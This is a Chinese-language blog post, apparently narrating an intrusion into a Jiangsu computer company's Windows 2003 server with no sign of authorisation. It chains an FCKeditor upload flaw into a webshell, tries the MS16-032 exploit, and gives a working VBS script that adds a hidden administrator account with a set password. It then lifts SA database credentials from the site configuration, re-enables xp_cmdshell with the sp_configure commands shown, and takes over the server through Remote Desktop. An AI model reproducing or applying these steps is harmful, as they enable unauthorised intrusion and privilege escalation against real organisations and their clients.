cmdshell降权峰回路转提权window 2003服务器过程

cmdshell降权峰回路转提权window 2003服务器过程


好久没写文章了,今天带来一篇cmdshell降权峰回路转提权window 2003服务器过程

目标:一家江苏计算机公司

架构类型:aspx


初步发现有未授权访问


但是上传无法返回图片地址


发现有fck,无奈走一波




可能有解析漏洞




直接访问


捕获994.PNG

一切都很顺利


直接getshell


接下来,就是提权了额


发现出问题了,asp不能创建对象,上传了一个aspx试试


捕获.PNG



捕获1.PNG


aspx权限应该够大,但是拒绝访问,看下可写目录


捕获8888.PNG



直接试试传一个cmd.exe

捕获8900.PNG


可以执行命令,看下什么权限


捕获123.PNG



匿名权限,这时候我们执行下看看用户




没反应



没反应

捕获22.PNG




没反应,貌似是降权了

看下其他命令

比如tasklist /svc

ipconfig /all


捕获44.PNG



这些命令倒是可以,我们试试ms16032的exp


捕获909.PNG







还是没有任何反应

不是正确的win32应用程序


捕获444.PNG




,貌似是不能调用执行exp,可能跟cmd降权 net被禁用有关系

NET被禁用可以使用VBS去执行添加账号,但是这种思路也不太可行


set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","0x80$")
od.SetPassword "0x80asdL*()"
od.SetInfo
Set of=GetObject(os&"/0x80$",user)
oe.add os&"/0x80$"


端口也不能查看,这就尴尬了

权限很小的情况下,复制sethc.exe估计也没有用


捕获4444.PNG


这时候,我们看下端口


就开了21,和80

有点难度

终端已经找到了,默认是打开的


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
    PortNumber    REG_DWORD    0x16b8


这时候我们看看其他地方有什么可以利用的

看看源码,找一找


 捕获9990.PNG



找到两个文件

看看有没有数据库


 <add name="wzConnectionString" connectionString="Data Source=.;Initial Catalog=xx;User ID=xx;Password=xx

" providerName="System.Data.SqlClient" />


看到这里就对了,还是sa权限


那我们在sa执行命令试试


但是sa爆出了Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。


我们连接库

Driver={Sql Server};Server=(local);Database=x;Uid=sa;Pwd=x

发现一些数据库


捕获99990.PNG


发现一些敏感信息,由于连的是shell local

我们如果要解决Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程就必须得连到sql查询分析器解决,首先要知道外链端口是多少

默认是1433,可能已经改掉了


想到一条SQL语句可以查端口:

exec sys.sp_readerrorlog 0, 1, 'listening'


可能只有aspx权限可以试试了


连接格式:

捕获9940.PNG





没搞懂怎么会连接失败


可能连接格式错了

换成

Provider=SQLOLEDB.1;User ID=sa;Password=x;Initial Catalog=x;Data Source=(local);


捕获88.PNG



通过查询得到了端口号

接下来使用sql查询分析器进行连接了

sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go


进行修复


捕获9999.PNG


现在应该可以执行了


捕获8880.PNG




然后使用exec添加管理员即可


捕获90.PNG


访问终端,进入服务器



QQ截图20210304182146.png



总结一下本次暴露的安全问题,首先是网站本身存在漏洞

CMD虽然被降权,但是MSSQL的SA权限依然存在安全风险

最终导致MSSQL提权服务器...


刚才查了一下,这个公司的注册资金1500万,还有大量的甲方客户

但自身安全确实做得不太到位....